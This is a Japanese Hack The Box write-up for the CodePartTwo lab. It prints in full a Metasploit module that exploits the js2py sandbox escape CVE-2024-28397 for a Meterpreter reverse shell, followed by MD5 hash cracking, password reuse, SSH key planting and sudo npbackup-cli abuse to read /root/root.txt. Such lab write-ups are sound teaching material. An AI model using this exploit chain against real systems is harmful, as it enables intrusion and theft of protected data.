HTB CodePartTwo writeup
Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。
Summary
Section titled “Summary”CodePartTwo は、JavaScript 実行機能を持つ Web アプリが公開された Linux Box である。配布 ZIP で js2py==0.74 を確認し、登録した Web アカウントで POST /run_code にサンドボックス脱出のペイロードを送って app のシェルを得た。次に SQLite に保存された marco の MD5 ハッシュを解読し、OS ユーザー marco へ移った。最後は NOPASSWD の npbackup-cli に /root/ を含む設定を読み込ませ、root 権限で作成したスナップショットから /root/root.txt を読み取った。root シェルの取得は記録されていない。
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | CodePartTwo |
| Platform | Hack The Box |
| OS | Linux, Ubuntu 20.04.6 LTS |
| Difficulty | Easy |
Attack Chain
Section titled “Attack Chain”攻撃側 | | HTTP 列挙と配布 ZIP から js2py==0.74 を確認 vcodeparttwo.htb:8000 の認証付き POST /run_code | | pwn を登録・ログインし、CVE-2024-28397 を JSON の code として送信 vapp@codeparttwo | | users.db の marco の MD5 を hashcat -m 0 で解読し su - marco vmarco@codeparttwo | | NOPASSWD の npbackup-cli に /root/ を含む設定を渡し -b vroot 権限で作成された snapshot 52a4bb12 | | sudo npbackup-cli --dump /root/root.txt vroot の保護ファイル /root/root.txt の読取Target Details
Section titled “Target Details”記録時点の対象 IP は 10.129.232.59、Web のホスト名は codeparttwo.htb、攻撃側 VPN アドレスは 10.10.16.45 である。IP はラボ再起動で変わり得る。名前解決のため、攻撃側の /etc/hosts へ次を追記した。
sudo vim /etc/hosts10.129.232.59 codeparttwo.htbSSH ログイン後のバナーで OS を確認した。
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)Initial Enumeration
Section titled “Initial Enumeration”TCP scan
Section titled “TCP scan”全 TCP ポートを走査した。
nmap -sS -A -p- --min-rate 10000 10.129.232.59Nmap scan report for 10.129.232.59Host is up (0.29s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)8000/tcp open http Gunicorn 20.0.4|_http-server-header: gunicorn/20.0.4|_http-title: Welcome to CodePartTwoOS details: Linux 4.15 - 5.1922/tcpは OpenSSH 8.2p1。この時点では使える資格情報がない。8000/tcpは Gunicorn 20.0.4 で、タイトルが Box 名と一致する。- 公開面はこの 2 ポートに絞られているため、次は Web アプリを見る。
- nmap のカーネル推定は
Linux 4.15 - 5.19と幅がある。後の SSH バナーで Ubuntu 20.04.6 LTS /5.4.0-216-genericと確定した。
HTTP surface
Section titled “HTTP surface”攻撃側からトップページと認証フォームを確認した。
curl -i http://codeparttwo.htb:8000/curl -i http://codeparttwo.htb:8000/logincurl -i http://codeparttwo.htb:8000/registerHTTP/1.1 200 OKServer: gunicorn/20.0.4<title>Welcome to CodePartTwo</title><a href="/login" class="cta-button">Login</a><a href="/register" class="cta-button">Register</a><a href="/download" class="cta-button">Download App</a>
<form action="/login" method="POST"> <input type="text" name="username" placeholder="Username" required> <input type="password" name="password" placeholder="Password" required></form>
<form method="POST"> <input type="text" name="username" placeholder="Username" required> <input type="password" name="password" placeholder="Password" required></form>トップページには JavaScript の作成・実行機能と、認証前にアプリを取得できる /download が示されていた。/register から自分の Web アカウントを作れるため、既存ユーザーの資格情報を探す前に実行機能を確認できる。
Download App
Section titled “Download App”攻撃側で配布 ZIP を取得・展開した。記録では -i を付けたためレスポンスヘッダー 315 バイトが保存ファイルの先頭に入り、unzip が警告を出したが展開は成功した。
curl -iOL http://codeparttwo.htb:8000/downloadfile downloadunzip downloaddownload: Zip archive, with extra data prependedwarning [download]: 315 extra bytes at beginning or within zipfile (attempting to process anyway) inflating: app/app.py inflating: app/requirements.txt inflating: app/instance/users.db再取得する場合は -i を外せばよい。展開物の requirements.txt には次の依存関係があった。
js2py==0.74このバージョンは CVE-2024-28397 を調べる手がかりになった。ただし、配布された app.py の実装全文を確認した記録はない。入口の判断は、依存関係と次節の HTTP リクエスト・応答に基づく。
Web Exploitation
Section titled “Web Exploitation”登録、ログイン、コード実行 API
Section titled “登録、ログイン、コード実行 API”攻撃側で Freja をインストールして起動した。引数なしの freja は TUI を開き、ローカルの 127.0.0.1:8080 で HTTP プロキシを待ち受ける。
cargo install frejafrejaFirefox の「設定」→「ネットワーク設定」→「手動でプロキシーを設定する」で、HTTP プロキシーを localhost、ポートを 8080 に指定した。これで Firefox から Box の HTTP サイトへ送る通信を Freja の TUI で確認できる。TUI で一時停止したリクエストは c で続行する。
ブラウザーで test:test を登録してログインし、Freja で HTTP を捕捉した。test は自分で作った Web アカウントである。
POST /register HTTP/1.1Host: codeparttwo.htb:8000Content-Type: application/x-www-form-urlencodedContent-Length: 27
username=test&password=test登録後の遷移先は GET /login だった。続けて同じ資格情報でログインする。
POST /login HTTP/1.1Host: codeparttwo.htb:8000Content-Type: application/x-www-form-urlencodedContent-Length: 27Origin: http://codeparttwo.htb:8000Referer: http://codeparttwo.htb:8000/login
username=test&password=testログイン後のダッシュボードはセッション Cookie 付きで 200 を返す。
GET /dashboard HTTP/1.1Host: codeparttwo.htb:8000Cookie: session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ.arZjzQ.MO-1muc0LGyhn7BxLxpHYuCU4CoHTTP/1.1 200 OKServer: gunicorn/20.0.4Date: Fri, 25 Sep 2026 12:06:46 GMTVary: CookieContent-Type: text/html; charset=utf-8Content-Length: 1669
<title>CodePartTwo Dashboard</title>...<h1>Dashboard</h1><p>Create, save, run, and manage your JavaScript code with CodePartTwo.</p><a href="/logout" class="cta-button">Logout</a>Cookie のペイロード eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ は {"user_id":3,"username":"test"} である。後の SQLite で id=3 が test 行と一致する。
ダッシュボードで var x = 16;\nx; を入れて Run Code を押すと、次が送られた。
POST /run_code HTTP/1.1Host: codeparttwo.htb:8000Cookie: session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ.arZjzQ.MO-1muc0LGyhn7BxLxpHYuCU4CoContent-Type: application/jsonContent-Length: 26Origin: http://codeparttwo.htb:8000Referer: http://codeparttwo.htb:8000/dashboard
{ "code": "var x = 16;\nx;"}HTTP/1.1 200 OKServer: gunicorn/20.0.4Date: Fri, 25 Sep 2026 12:08:48 GMTContent-Length: 14Content-Type: application/json
{ "result": 16}Freja の TUI では、同じ /run_code 通信を次のように確認した。画面の幅を詰め、判断に必要な行だけ転記している。
┌Flows [1 Traffic] mode=Pretty layout=Split────────────────────────────┐│> HTTP live POST http://codeparttwo.htb:8000/run_code HTTP/1.1 │└───────────────────────────────────────────────────────────────────────┘┌Request [Pretty]──────────────────────┐┌Response [Pretty]──────────────┐│POST /run_code HTTP/1.1 ││HTTP/1.1 200 OK ││content-type: application/json ││content-type: application/json ││{"code":"var x = 16;\nx;"} ││{"result":16} │└──────────────────────────────────────┘└───────────────────────────────┘入力 JavaScript は JSON の code キーに入り、サーバー側の /run_code で評価される。js2py==0.74 とこの API の組み合わせが、CVE-2024-28397 を試す根拠になる。
PyLoad 向け Metasploit モジュール exploit/linux/http/pyload_js2py_cve_2024_39205 は、同じ js2py 脱出用 JavaScript を持つ。この Box では認証付き POST /run_code に {"code": ...} を載せる。
Metasploit モジュールの移植
Section titled “Metasploit モジュールの移植”既存の PyLoad 向けモジュールから js2py 脱出用の JavaScript を流用し、この Box の HTTP API に合わせて待ち受けポートを 8000、送信先を認証付き POST /run_code、本文を JSON の code に変更した。PyLoad 固有の /flash/addcrypted2、Host: 127.0.0.1、crypted / jk は使わない。
最初の試行では execute_command のたびに登録・ログインしたため、AutoCheck と CmdStager で同じ処理が繰り返された。最終版では authenticate を check と exploit の入口から呼び、同一実行中の認証を一度にした。ただし成功判定は元モジュールのままで、/run_code が成功時に返す HTTP 200 JSON を execute_command が成功と扱わない。check の失敗表示はこの応答判定によるもので、後述のセッション確立でコード実行を確認した。
以下が実際に使用したモジュールの全文である。Metasploit のモジュール検索パスへ htb_codeparttwo.rb として置き、exploit/linux/http/htb_codeparttwo を読み込む。元モジュールの PyLoad 向け名称・説明・参照情報と Privileged => true は残っているが、この Box で使った脆弱性は js2py の CVE-2024-28397 であり、得たシェルの権限は app である。
### This module requires Metasploit: https://metasploit.com/download# Original source: https://github.com/rapid7/metasploit-framework## Derived from:# modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb## Modified for the Hack The Box CodePartTwo lab.## Metasploit Framework is distributed under the BSD 3-Clause License.##
require 'rex/stopwatch'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager189 collapsed lines
def initialize(info = {}) super( update_info( info, 'Name' => 'Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)', 'Description' => %q{ CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74 is the latest version of js2py which was released Nov 6, 2022.
CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source download manager designed to automate file downloads from various online sources. Pyload is vulnerable because it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint. This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we can bypass this restriction in order to access the API to achieve unauth RCE. }, 'Author' => [ 'Marven11', # PoC 'Spencer McIntyre', # Previous pyLoad module which this is based on 'jheysel-r7' # Metasploit module ], 'References' => [ [ 'CVE', '2024-39205' ], [ 'CVE', '2024-28397' ], [ 'EDB', '52532' ], [ 'URL', 'https://github.com/Marven11/CVE-2024-39205-Pyload-RCE' ], [ 'GHSA', 'w7hq-f2pj-c53g', 'pyload/pyload' ], [ 'URL', 'https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape' ], ], 'DisclosureDate' => '2024-10-28', 'License' => MSF_LICENSE, 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper } ], ], 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) )
register_options([ Opt::RPORT(8000), OptString.new('USERNAME', [true, 'Username', 'pwn']), OptString.new('PASSWORD', [true, 'Password', 'pwn']), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end
def check authenticate sleep_time = rand(5..10)
_, elapsed_time = Rex::Stopwatch.elapsed_time do execute_command("sleep #{sleep_time}") end
vprint_status("Elapsed time: #{elapsed_time} seconds")
unless elapsed_time > sleep_time return CheckCode::Safe('Failed to test command injection.') end
CheckCode::Vulnerable('Successfully tested command injection.') rescue Msf::Exploit::Failed return CheckCode::Safe('Failed to test command injection.') end
def exploit authenticate print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type'] when :unix_cmd if execute_command(payload.encoded) print_good("Successfully executed command: #{payload.encoded}") end when :linux_dropper execute_cmdstager end end
def javascript_payload(cmd) js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })
js = <<~EOS let #{js_vars[:command]} = "#{cmd}" let #{js_vars[:hacked]}, #{js_vars[:bymarve]}, #{js_vars[:n11]} let #{js_vars[:getattr]}, #{js_vars[:obj]}
#{js_vars[:base]} = '__base__' #{js_vars[:getattribute]} = '__getattribute__' #{js_vars[:hacked]} = Object.getOwnPropertyNames({}) #{js_vars[:bymarve]} = #{js_vars[:hacked]}[#{js_vars[:getattribute]}] #{js_vars[:n11]} = #{js_vars[:bymarve]}("__getattribute__") #{js_vars[:obj]} = #{js_vars[:n11]}("__class__")[#{js_vars[:base]}] #{js_vars[:getattr]} = #{js_vars[:obj]}[#{js_vars[:getattribute]}] #{js_vars[:sub_class]} = '__subclasses__';
function #{js_vars[:findpopen]}(#{js_vars[:o]}) { let #{js_vars[:result]}; for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) { let #{js_vars[:item]} = #{js_vars[:o]}[#{js_vars[:sub_class]}]()[#{js_vars[:i]}] if(#{js_vars[:item]}.__module__ == "subprocess" && #{js_vars[:item]}.__name__ == "Popen") { return #{js_vars[:item]} } if(#{js_vars[:item]}.__name__ != "type" && (#{js_vars[:result]} = #{js_vars[:findpopen]}(#{js_vars[:item]}))) { return #{js_vars[:result]} } } }
#{js_vars[:n11]} = #{js_vars[:findpopen]}(#{js_vars[:obj]})(#{js_vars[:command]}, -1, null, -1, -1, -1, null, null, true).communicate() EOS
opts = { 'Strings' => true }
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.obfuscate(memory_sensitive: true) js.to_s end
def execute_command(cmd, _opts = {}) cmd.gsub!(/\\/, '\\\\\\\\') cmd.gsub!(/"/, '\"') vprint_status("Executing command: #{cmd}") crypted_b64 = Rex::Text.encode_base64(rand(4))
res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'run_code'), 'ctype' => 'application/json', 'data' => { 'code' => javascript_payload(cmd) }.to_json )
# The command will either cause the response to timeout or return a 500 return if res.nil? return if res.code == 500 && res.get_xml_document.xpath('//title').text == 'Sorry, something went wrong... :('
fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}") end
def authenticate return if @authenticated
user = datastore['USERNAME'] pass = datastore['PASSWORD']
send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'register'), 'vars_post' => { 'username' => user, 'password' => pass } )
res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login'), 'vars_post' => { 'username' => user, 'password' => pass }, 'keep_cookies' => true ) fail_with(Failure::NoAccess, 'login failed') if res.nil?
vprint_status("Register and Login Success: #{user}:#{pass}")
@authenticated = true end
endjavascript_payload は Python の型階層から subprocess.Popen を探してコマンドを実行する。authenticate は登録後のログインで Cookie を保持するが、ログイン応答の内容は確認しない。元の PyLoad 用 execute_command はタイムアウトまたは特定の HTTP 500 だけを成功扱いするため、HTTP 200 JSON を返す /run_code では check が失敗表示になる。この判定は最終版でも修正されていない。
攻撃側の Metasploit から、モジュールが登録する pwn:pwn を使って実行した。LHOST は攻撃側 VPN アドレスである。
msf > use exploit/linux/http/htb_codeparttwomsf exploit(linux/http/htb_codeparttwo) > run verbose=true rhosts=10.129.232.59 lhost=10.10.16.45 forceexploit=true[*] Register and Login Success: pwn:pwn[*] Executing command: sleep 10[!] The target is not exploitable. Failed to test command injection. ForceExploit is enabled, proceeding with exploitation.[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp[*] Transmitting intermediate stager...(126 bytes)[*] Sending stage (3106788 bytes) to 10.129.232.59[*] Meterpreter session 1 opened (10.10.16.45:4444 -> 10.129.232.59:37818)[*] Command Stager progress - 100.00% done (823/823 bytes)meterpreter >ForceExploit で check 後も続行し、Meterpreter セッションの確立で実行成功を確認した。CmdStager は /tmp/hcRRI.b64 と /tmp/iboRV を一時配置し、生成コマンド末尾で削除を試みた。
Credential Reuse
Section titled “Credential Reuse”app シェルと SQLite
Section titled “app シェルと SQLite”Meterpreter からシェルを開き、疑似端末で操作した。
meterpreter > shellpython3 -c 'import pty; pty.spawn("/bin/bash")'ls -lals -la /homecat /etc/passwd | grep 'sh$'Process 1597 created.Channel 1 created.app@codeparttwo:~/app$total 32drwxrwxr-x 6 app app 4096 Sep 1 2025 .drwxr-x--- 5 app app 4096 Apr 6 2025 ..drwxr-xr-x 2 app app 4096 Sep 1 2025 __pycache__-rw-r--r-- 1 app app 3679 Sep 1 2025 app.pydrwxrwxr-x 2 app app 4096 Sep 25 13:21 instance-rw-rw-r-- 1 app app 49 Jan 17 2025 requirements.txtdrwxr-xr-x 4 app app 4096 Sep 1 2025 staticdrwxr-xr-x 2 app app 4096 Sep 1 2025 templates
total 16drwxr-xr-x 4 root root 4096 Jan 2 2025 .drwxr-xr-x 18 root root 4096 Nov 16 2024 ..drwxr-x--- 5 app app 4096 Apr 6 2025 appdrwxr-x--- 6 marco marco 4096 Sep 25 13:30 marco
root:x:0:0:root:/root:/bin/bashmarco:x:1000:1000:marco:/home/marco:/bin/bashapp:x:1001:1001:,,,:/home/app:/bin/bashWeb プロセスは app で動いている。ログイン可能な別ユーザー marco がいる。アプリの作業ディレクトリは /home/app/app である。
ls templatesls staticls instancefile instance/users.dbbase.html dashboard.html index.html login.html register.htmlapp.zip css jsusers.dbinstance/users.db: SQLite 3.x database, last written using SQLite version 3031001対象上の templates には配布 ZIP にあった reviews.html がない。instance/users.db が資格情報の実体である。
sqlite3 instance/users.dbSQLite version 3.31.1 2020-01-27 19:55:54Enter ".help" for usage hints..tables.schema userselect * from user;.exitcode_snippet userCREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(80) NOT NULL, password_hash VARCHAR(128) NOT NULL, PRIMARY KEY (id), UNIQUE (username));1|marco|649c9d65a206a75f5abe509fe128bce52|app|a97588c0e2fa3a024876339e27aeb42e3|test|098f6bcd4621d373cade4e832627b4f64|pwn|e4a25f7b052442a076b02ee9a1818d2etest と pwn はこの調査で登録した行、marco は既存ユーザーである。id=3 の test はダッシュボード Cookie の user_id と一致する。password_hash は 32 桁の 16 進である。自分で入れた test のハッシュ 098f6bcd4621d373cade4e832627b4f6 は MD5(test) として知られる値で、列のアルゴリズムを MD5 と見てよい根拠になる。
marco のハッシュを攻撃側のファイルへ保存して形式を調べた。
printf '%s\\n' '649c9d65a206a75f5abe509fe128bce5' > hashhashid hashAnalyzing '649c9d65a206a75f5abe509fe128bce5'[+] MD5[+] NTLM32 桁の 16 進文字列だけでは方式を確定できない。一方、自分で登録した test の保存値は MD5(test) と一致したため、marco 行も MD5 と判断した。
攻撃側では marco のハッシュに対して MD5(モード 0)の辞書攻撃を行う。今回の解読実行ログは残っていないため、以下は再現用のコマンドである。平文の有効性は次の su 成功で確認できる。
hashcat -m 0 hash /usr/share/wordlists/rockyou.txt平文 sweetangelbabylove を OS アカウント marco に試すと、su が成功した。SQLite の marco 行で得たハッシュに対応するパスワードが OS でも使われていた。
su - marcoPassword: sweetangelbabylovemarco@codeparttwo:~$ls -lacat user.txttotal 44drwxr-x--- 6 marco marco 4096 Sep 25 13:45 .drwxr-xr-x 4 root root 4096 Jan 2 2025 ..drwx------ 7 root root 4096 Apr 6 2025 backupslrwxrwxrwx 1 root root 9 Oct 26 2024 .bash_history -> /dev/null-rw-r--r-- 1 marco marco 220 Feb 25 2020 .bash_logout-rw-r--r-- 1 marco marco 3771 Feb 25 2020 .bashrcdrwx------ 2 marco marco 4096 Apr 6 2025 .cachedrwxrwxr-x 4 marco marco 4096 Feb 1 2025 .locallrwxrwxrwx 1 root root 9 Nov 17 2024 .mysql_history -> /dev/null-rw-rw-r-- 1 root root 2893 Jun 18 2025 npbackup.conf-rw-r--r-- 1 marco marco 807 Feb 25 2020 .profilelrwxrwxrwx 1 root root 9 Oct 26 2024 .python_history -> /dev/nulllrwxrwxrwx 1 root root 9 Oct 31 2024 .sqlite_history -> /dev/nulldrwx------ 2 marco marco 4096 Oct 20 2024 .ssh-rw-r----- 1 root marco 33 Sep 25 11:40 user.txt
[REDACTED]user.txt は root:marco で marco が読める。backups は root のみ、npbackup.conf は root 所有だが全員が読める。履歴ファイルは /dev/null へリンクされている。
SSH への切替
Section titled “SSH への切替”Meterpreter 経由の PTY では操作しづらいため、marco の SSH に切り替えた。まず攻撃側で ed25519 鍵ペアを作る。鍵生成コマンドの実行ログは残っていないため、次は再現用の手順である。
ssh-keygen -t ed25519 -f ./codeparttwocat ./codeparttwo.pub記録時に使用した公開鍵は次の 1 行だった。再現時は、新しく生成した .pub の内容を使用する。
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdSeKuXX3olLmqRsgE1mfONoj1IFIPcgHgYbbBcdNvC対象側では marco の authorized_keys に公開鍵を書いた。元のファイルは 0 バイトだった。以下の echo は記録時の鍵を使ったコマンドであり、再現時は自分の公開鍵に置き換える。
対象側:
cd .sshls -laecho 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdSeKuXX3olLmqRsgE1mfONoj1IFIPcgHgYbbBcdNvC' > authorized_keysls -latotal 8drwx------ 2 marco marco 4096 Oct 20 2024 .drwxr-x--- 6 marco marco 4096 Sep 25 14:30 ..-rw------- 1 marco marco 0 Oct 20 2024 authorized_keys
total 12drwx------ 2 marco marco 4096 Oct 20 2024 .drwxr-x--- 6 marco marco 4096 Sep 25 14:30 ..-rw------- 1 marco marco 81 Sep 25 14:31 authorized_keys攻撃側:
ssh -i ./codeparttwo marco@codeparttwo.htbThe authenticity of host 'codeparttwo.htb (10.129.232.59)' can't be established.ED25519 key fingerprint is: SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added 'codeparttwo.htb' (ED25519) to the list of known hosts.Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
System information as of Fri 25 Sep 2026 02:32:09 PM UTC
System load: 0.0 Usage of /: 57.7% of 5.08GB Memory usage: 23% Swap usage: 0% Processes: 222 Users logged in: 0 IPv4 address for eth0: 10.129.232.59 IPv6 address for eth0: dead:beef::a0de:adff:fe8e:c1f
Last login: Fri Sep 25 14:32:10 2026 from 10.10.16.45marco@codeparttwo:~$これで marco の通常 TTY が使える。権限はそのまま marco である。
Privilege Escalation
Section titled “Privilege Escalation”sudo と npbackup-cli
Section titled “sudo と npbackup-cli”sudo -lMatching Defaults entries for marco on codeparttwo: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo: (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli許可はバイナリパスだけで、引数は固定されていない。marco でヘルプを確認すると、任意の設定を指定できる -c と、バックアップ内容を読む --ls / --dump が使える。
npbackup-cli -husage: npbackup-cli [-c CONFIG_FILE] [-b] [--ls [LS]] [--forget FORGET] [--dump DUMP]-b はバックアップを作り、--ls はその内容を一覧し、--dump は指定したファイルを標準出力へ出す。引数自由の sudo 許可と組み合わせると、marco が指定したバックアップ対象を root 権限で処理できる。
sudo npbackup-clisudo npbackup-cli -c npbackup.conf2026-09-25 14:01:43,379 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root2026-09-25 14:01:43,379 :: CRITICAL :: Cannot run without configuration file.2026-09-25 14:01:43,385 :: INFO :: ExecTime = 0:00:00.008369, finished, state is: critical.
2026-09-25 14:02:02,393 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root2026-09-25 14:02:02,414 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf2026-09-25 14:02:02,421 :: WARNING :: No operation has been requested. Try --help2026-09-25 14:02:02,425 :: INFO :: ExecTime = 0:00:00.034251, finished, state is: warnings.ログには npbackup 3.0.1 が root として起動し、設定なしでは Cannot run without configuration file.、/home/marco/npbackup.conf を指定すると Loaded config 4E3B3BFD と出ている。操作を指定しなかったため、この時点ではバックアップを作っていない。
元の設定では暗号化された repo_uri と repo_password が repos.default にあり、バックアップ対象の paths は /home/app/app/ のみだった。後のサイズエラーに関係する設定も含め、要点は次の通り。
repos: default: repo_uri: <暗号化された既存値> backup_opts: paths: - /home/app/app/ repo_opts: repo_password: <暗号化された既存値>groups: default_group: backup_opts: minimum_backup_size_error: 10 MiBnpbackup.conf は root 所有で marco には書込権限がない。記録上、同じ設定内容を /tmp/npbackup.conf に置いてから paths を変更した。再現時は元設定の暗号化値を保つ。
既存スナップショットの確認
Section titled “既存スナップショットの確認”/tmp/npbackup.conf の作成コマンドは記録されていない。再現時は marco として元設定をコピーし、暗号化されたリポジトリ情報を保つ。
cp /home/marco/npbackup.conf /tmp/npbackup.confsudo npbackup-cli -c /tmp/npbackup.conf --lsLoaded config 4E3B3BFD in /tmp/npbackup.confShowing content of snapshot latest in repo defaultsnapshot 35a4dac3 of [/home/app/app] at 2025-04-06 03:50:16.222832208 +0000 UTC by root@codetwo filtered by []:/home/app/app/instance/users.dbOperation finished設定ハッシュ 4E3B3BFD は元の npbackup.conf と同じで、この時点の latest は /home/app/app のみを含む。したがって、既存スナップショットから /root/root.txt を読むことはできない。
/root/ を足したバックアップと dump
Section titled “/root/ を足したバックアップと dump”対象側の /tmp/npbackup.conf で paths に /root/ を追加した。元設定の暗号化された repo_uri と repo_password は変更していない。
backup_opts: paths: - /home/app/app/ - /root/ source_type: folder_listmarco から sudo でバックアップを実行した。これはスナップショットを追加する状態変更である。
sudo npbackup-cli -c /tmp/npbackup.conf -bnpbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as rootLoaded config 73199EB2 in /tmp/npbackup.confRunning backup of ['/home/app/app/', '/root/'] to repo defaultERROR :: Exclude file 'excludes/generic_excluded_extensions' not foundWARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windowsprocessed 27 files, 246.625 KiB in 0:00snapshot 52a4bb12 savedBackend finished with successERROR :: Backup is smaller than configured minmium backup sizeERROR :: Operation finished with failureExecTime = 0:00:03.421497, finished, state is: errors.設定ハッシュが 4E3B3BFD から 73199EB2 に変わり、対象に /root/ が入った。exclude ファイル欠如と最小サイズ 10 MiB 未満のため最終状態は errors だが、snapshot 52a4bb12 saved が先に出ている。保存の成否を --ls で確認した。
sudo npbackup-cli -c /tmp/npbackup.conf --lsLoaded config 73199EB2 in /tmp/npbackup.confShowing content of snapshot latest in repo defaultsnapshot 52a4bb12 of [/home/app/app /root] at 2026-09-25 14:38:14.885922018 +0000 UTC by root@codeparttwo filtered by []:/root/root/root.txtOperation finished, state is: success.latest が新しいスナップショットに変わり、/root/root.txt を含むことが確認できた。--dump はその内容を標準出力へ出す。
sudo npbackup-cli -c /tmp/npbackup.conf --dump /root/root.txt[REDACTED]ここで確認できたのは root 権限で作られたスナップショットからの保護ファイル読取である。root シェルの取得は記録されていない。
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”- 配布 ZIP にある
templates/reviews.htmlは、対象上の/home/app/app/templatesには見当たらなかった。配布物と稼働環境の差を踏まえ、確認できた/run_codeを入口にした。 - Metasploit の
checkはFailed to test command injectionと表示したが、原因は成功時の HTTP 200 JSON を元モジュールが成功と判定しないことだった。実行成否はセッション確立で判断した。 /home/marco/backupsは root 所有のdrwx------で、marcoから直接参照できない。sudo npbackup-cli --lsでスナップショットを確認した。npbackup-cli --lsが示すのは設定ファイルのpathsではなく、保存済みスナップショットの内容である。/root/を設定に追加しただけで--lsに現れると思い込むと行き詰まる。root 権限で一度-bを実行し、保存を確認してから--lsする必要があった。
Cleanup Notes
Section titled “Cleanup Notes”cleanup を実行して検証した記録はない。観測された状態変更と復旧方針を示す。検証結果はすべて未確認。
- 攻撃側
/etc/hosts- 変更内容:
10.129.232.59 codeparttwo.htbを追記。 - 元状態: 記録なし。
- 復旧方針: 追記行を削除する。
- 検証結果: 未確認。
- 変更内容:
- 攻撃側 Freja と Firefox のプロキシ設定
- 変更内容:
cargo install frejaで Freja を導入し、Firefox の HTTP プロキシをlocalhost:8080に設定した。 - 元状態: Freja の導入状況と Firefox の設定は記録なし。
- 復旧方針: Freja を停止して Firefox のプロキシを元の設定に戻す。今回専用に導入した場合だけ
cargo uninstall frejaで削除する。 - 検証結果: 未確認。
- 変更内容:
- 攻撃側の配布 ZIP・展開物・ハッシュ入力ファイル
- 変更内容:
/downloadから取得した ZIP を展開し、解読用にmarcoのハッシュをファイルへ保存した。 - 元状態: 記録なし。
- 復旧方針: 調査用に作成したファイルを削除する。
- 検証結果: 未確認。
- 変更内容:
- Web アカウント
test/pwn- 変更内容:
POST /registerによりusers.dbのuserテーブルへ行を追加(観測時はid=3がtest、id=4がpwn)。 - 元状態: 登録前のテーブル内容は未確認。観測時には
marcoとappの行もあった。 - 復旧方針: 対象リセット、または SQLite から該当行を削除。
- 検証結果: 未確認。
- 変更内容:
/tmp/gvaeT.b64、/tmp/BkjMB、/tmp/hcRRI.b64、/tmp/iboRV- 変更内容: Linux Dropper の command stager が ELF を一時配置して実行した。生成コマンド末尾に
rm -fがある。 - 元状態: 記録なし。生成コマンド末尾の削除が成功したかも未確認。
- 復旧方針: 残っていれば
rm -f /tmp/gvaeT.b64 /tmp/BkjMB /tmp/hcRRI.b64 /tmp/iboRV。 - 検証結果: 未確認。
- 変更内容: Linux Dropper の command stager が ELF を一時配置して実行した。生成コマンド末尾に
/home/marco/.ssh/authorized_keys- 変更内容: 空ファイル(0 バイト)を攻撃側 ed25519 公開鍵 81 バイトで上書きした。
- 元状態:
-rw------- 1 marco marco 0 Oct 20 2024 authorized_keys。 - 復旧方針:
truncate -s 0 /home/marco/.ssh/authorized_keys、または元の空ファイルへ戻す。 - 検証結果: 未確認。
- 攻撃側 SSH 鍵ペア
- 変更内容: Box 専用の
./codeparttwoと./codeparttwo.pubを SSH 接続に使用した。 - 元状態: 鍵生成前の状態は記録なし。
